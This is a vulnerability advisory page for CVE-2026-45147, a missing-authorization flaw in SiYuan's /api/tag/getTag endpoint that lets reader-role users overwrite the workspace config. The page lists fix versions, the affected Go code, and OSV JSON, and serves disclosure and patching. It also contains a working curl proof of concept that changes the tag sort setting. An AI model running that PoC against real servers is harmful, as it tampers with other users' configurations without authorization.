CVE-2026-45147: SiYuan Broken Access Control Vulnerability

MODERATE
Advisory Identifier: GHSA-6r88-8v7q-q4p2
CVSS 4.3
CWE-862 CWE-285
Published
Advisory Summary

CVE-2026-45147 is a MODERATE (CVSS 4.3) broken access control vulnerability (CWE-862: Missing Authorization) affecting SiYuan libraries in the Go ecosystem. The issue involves broken access control in `/api/tag/gettag` — reader role can mutate `conf.tag.sort` and persist to disk. Remediation is available by upgrading affected packages to version 0.0.0-20260512140701-d7b77d945e0d.

CVE-2026-45147 at a Glance

CVE Identifier CVE-2026-45147
GHSA Identifier GHSA-6r88-8v7q-q4p2
Severity MODERATE
CVSS v3.1 Base Score 4.3
CWE Classification CWE-862: Missing Authorization
Affected Product SiYuan
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 4.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-45147

To remediate this vulnerability, upgrade all affected SiYuan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/siyuan-note/siyuan/kernel fixed: 0.0.0-20260512140701-d7b77d945e0d
Upgrade github.com/siyuan-note/siyuan/kernel to 0.0.0-20260512140701-d7b77d945e0d
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-45147, inspect your project dependencies for SiYuan:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

Analyze the terminal output to locate any version of SiYuan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260512140701-d7b77d945e0d), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In SiYuan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `POST /api/tag/getTag` is registered with `model.CheckAuth` only, omitting both `model.CheckAdminRole` and `model.CheckReadonly`, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user — including publish-service `RoleReader` accounts and `RoleEditor` accounts on a read-only workspace — can call this endpoint with a `sort` argument to mutate `model.Conf.Tag.Sort` and trigger `model.Conf.Save()`, which atomically rewrites the entire workspace `conf.json`. Same root-cause class as the patched `GHSA-4j3x-hhg2-fm2x` (which fixed missing `CheckAdminRole + CheckReadonly` on `/api/template/renderSprig`). ### Details **Affected files / lines (v3.6.5):** `kernel/api/router.go:170` — only `CheckAuth`: ```go ginServer.Handle("POST", "/api/tag/getTag", model.CheckAuth, getTag) // Compare the sibling registrations on the next two lines, which DO gate writes: ginServer.Handle("POST", "/api/tag/renameTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renameTag) ginServer.Handle("POST", "/api/tag/removeTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, removeTag) ``` `kernel/api/tag.go:28-64` — handler. The `if nil != arg["sort"]` block writes config without any role check: ```go func getTag(c *gin.Context) { ret := gulu.Ret.NewResult() defer c.JSON(http.StatusOK, ret) arg, ok := util.JsonArg(c, ret) if !ok { return } ... if nil != arg["sort"] { // ← unauthorized write path sortVal, ok := util.ParseJsonArg[float64]("sort", arg, ret, true, false) if !ok { return } model.Conf.Tag.Sort = int(sortVal) model.Conf.Save() // persists entire conf to <workspace>/conf/conf.json } ... } ``` `Conf.Save()` rewrites the **entire** configuration file, which means a malicious caller racing with a legitimate config change can roll back another user's setting (TOCTOU on the global config object). ### PoC Same Docker setup as Advisory 1. ```bash # 1. Authenticate (any role with CheckAuth pass — admin used here for convenience). curl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \ -H 'Content-Type: application/json' -d '{"authCode":"audittest"}' >/dev/null # 2. Read current Conf.Tag.Sort. curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \ -H 'Content-Type: application/json' -d '{}' \ | python3 -c "import json,sys;print('Conf.Tag.Sort BEFORE =',json.load(sys.stdin)['data']['conf']['tag']['sort'])" # → Conf.Tag.Sort BEFORE = 4 # 3. Mutate via the read-style endpoint. curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/tag/getTag \ -H 'Content-Type: application/json' -d '{"sort": 7}' # → {"code":0,"msg":"","data":[]} # 4. Confirm in-memory. curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \ -H 'Content-Type: application/json' -d '{}' \ | python3 -c "import json,sys;print('Conf.Tag.Sort AFTER =',json.load(sys.stdin)['data']['conf']['tag']['sort'])" # → Conf.Tag.Sort AFTER = 7 # 5. Confirm persisted to disk inside the container. docker exec siyuan-audit grep -o 'sort":[0-9]*' /siyuan/workspace/conf/conf.json # → sort":7 ``` The vulnerability is exposed to publish-mode `RoleReader` (default for any anonymous publish visitor) and to `RoleEditor` users on workspaces where the administrator has set `Editor.ReadOnly = true`. ### Impact Limited direct damage — the writable field is only the tag display sort order. The pattern is concerning because: - It demonstrates the same gap that `GHSA-4j3x-hhg2-fm2x` was meant to flag broadly (missing `CheckAdminRole + CheckReadonly` on a read-style endpoint that performs writes); each occurrence has to be patched individually. - `Conf.Save()` rewrites the whole file, so a write-race during a legitimate configuration change can overwrite unrelated user-set values. - A publish-service Reader being able to mutate any server state at all violates the intended trust boundary.

CVE-2026-45147 Affected SiYuan Versions

1 component(s)
Fixed Versions:
0.0.0-20260512140701-d7b77d945e0d
Product / Package Ecosystem Affected Versions Fixed Version
github.com/siyuan-note/siyuan/kernel
Go
< 0.0.0-20260512140701-d7b77d945e0d
0.0.0-20260512140701-d7b77d945e0d

References

Frequently Asked Questions

What is CVE-2026-45147?
CVE-2026-45147 is a security vulnerability in SiYuan involving Broken access control in `/api/tag/getTag` — Reader role can mutate `Conf.Tag.Sort` and persist to disk under CWE-862: Missing Authorization.
Which SiYuan versions are affected?
Affected versions include releases prior to 0.0.0-20260512140701-d7b77d945e0d across affected packages: github.com/siyuan-note/siyuan/kernel.
What version fixes CVE-2026-45147?
Upgrading to 0.0.0-20260512140701-d7b77d945e0d (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/siyuan-note/siyuan/kernel affected?
Yes, github.com/siyuan-note/siyuan/kernel is affected in releases prior to 0.0.0-20260512140701-d7b77d945e0d. Upgrade your dependency to 0.0.0-20260512140701-d7b77d945e0d or later.
What is the CVSS score of CVE-2026-45147?
CVE-2026-45147 has a CVSS v3.1 base score of 4.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N.
What CWE is associated with CVE-2026-45147?
CVE-2026-45147 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Go dependencies for CVE-2026-45147?
Run the dependency tree command: 'inspect dependencies for github.com/siyuan-note/siyuan/kernel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6r88-8v7q-q4p2",
  "modified" : "2026-05-15T23:45:15Z",
  "published" : "2026-05-13T15:32:35Z",
  "aliases" : [ "CVE-2026-45147" ],
  "summary" : "SiYuan: Broken access control in `/api/tag/getTag` — Reader role can mutate `Conf.Tag.Sort` and persist to disk",
  "details" : "### Summary\n\n`POST /api/tag/getTag` is registered with `model.CheckAuth` only, omitting both `model.CheckAdminRole` and `model.CheckReadonly`, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user — including publish-service `RoleReader` accounts and `RoleEditor` accounts on a read-only workspace — can call this endpoint with a `sort` argument to mutate `model.Conf.Tag.Sort` and trigger `model.Conf.Save()`, which atomically rewrites the entire workspace `conf.json`.\n\nSame root-cause class as the patched `GHSA-4j3x-hhg2-fm2x` (which fixed missing `CheckAdminRole + CheckReadonly` on `/api/template/renderSprig`).\n\n### Details\n\n**Affected files / lines (v3.6.5):**\n\n`kernel/api/router.go:170` — only `CheckAuth`:\n\n```go\nginServer.Handle(\"POST\", \"/api/tag/getTag\", model.CheckAuth, getTag)\n// Compare the sibling registrations on the next two lines, which DO gate writes:\nginServer.Handle(\"POST\", \"/api/tag/renameTag\", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renameTag)\nginServer.Handle(\"POST\", \"/api/tag/removeTag\", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, removeTag)\n```\n\n`kernel/api/tag.go:28-64` — handler. The `if nil != arg[\"sort\"]` block writes config without any role check:\n\n```go\nfunc getTag(c *gin.Context) {\n    ret := gulu.Ret.NewResult()\n    defer c.JSON(http.StatusOK, ret)\n    arg, ok := util.JsonArg(c, ret)\n    if !ok { return }\n    ...\n    if nil != arg[\"sort\"] {                    // ← unauthorized write path\n        sortVal, ok := util.ParseJsonArg[float64](\"sort\", arg, ret, true, false)\n        if !ok { return }\n        model.Conf.Tag.Sort = int(sortVal)\n        model.Conf.Save()                      // persists entire conf to <workspace>/conf/conf.json\n    }\n    ...\n}\n```\n\n`Conf.Save()` rewrites the **entire** configuration file, which means a malicious caller racing with a legitimate config change can roll back another user's setting (TOCTOU on the global config object).\n\n### PoC\n\nSame Docker setup as Advisory 1.\n\n```bash\n# 1. Authenticate (any role with CheckAuth pass — admin used here for convenience).\ncurl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \\\n  -H 'Content-Type: application/json' -d '{\"authCode\":\"audittest\"}' >/dev/null\n\n# 2. Read current Conf.Tag.Sort.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \\\n  -H 'Content-Type: application/json' -d '{}' \\\n  | python3 -c \"import json,sys;print('Conf.Tag.Sort BEFORE =',json.load(sys.stdin)['data']['conf']['tag']['sort'])\"\n# → Conf.Tag.Sort BEFORE = 4\n\n# 3. Mutate via the read-style endpoint.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/tag/getTag \\\n  -H 'Content-Type: application/json' -d '{\"sort\": 7}'\n# → {\"code\":0,\"msg\":\"\",\"data\":[]}\n\n# 4. Confirm in-memory.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \\\n  -H 'Content-Type: application/json' -d '{}' \\\n  | python3 -c \"import json,sys;print('Conf.Tag.Sort AFTER =',json.load(sys.stdin)['data']['conf']['tag']['sort'])\"\n# → Conf.Tag.Sort AFTER = 7\n\n# 5. Confirm persisted to disk inside the container.\ndocker exec siyuan-audit grep -o 'sort\":[0-9]*' /siyuan/workspace/conf/conf.json\n# → sort\":7\n```\n\nThe vulnerability is exposed to publish-mode `RoleReader` (default for any anonymous publish visitor) and to `RoleEditor` users on workspaces where the administrator has set `Editor.ReadOnly = true`.\n\n### Impact\n\nLimited direct damage — the writable field is only the tag display sort order. The pattern is concerning because:\n\n- It demonstrates the same gap that `GHSA-4j3x-hhg2-fm2x` was meant to flag broadly (missing `CheckAdminRole + CheckReadonly` on a read-style endpoint that performs writes); each occurrence has to be patched individually.\n- `Conf.Save()` rewrites the whole file, so a write-race during a legitimate configuration change can overwrite unrelated user-set values.\n- A publish-service Reader being able to mutate any server state at all violates the intended trust boundary.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260512140701-d7b77d945e0d"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-6r88-8v7q-q4p2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45147"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-285", "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-13T15:32:35Z",
    "nvd_published_at" : "2026-05-14T19:16:38Z"
  }
}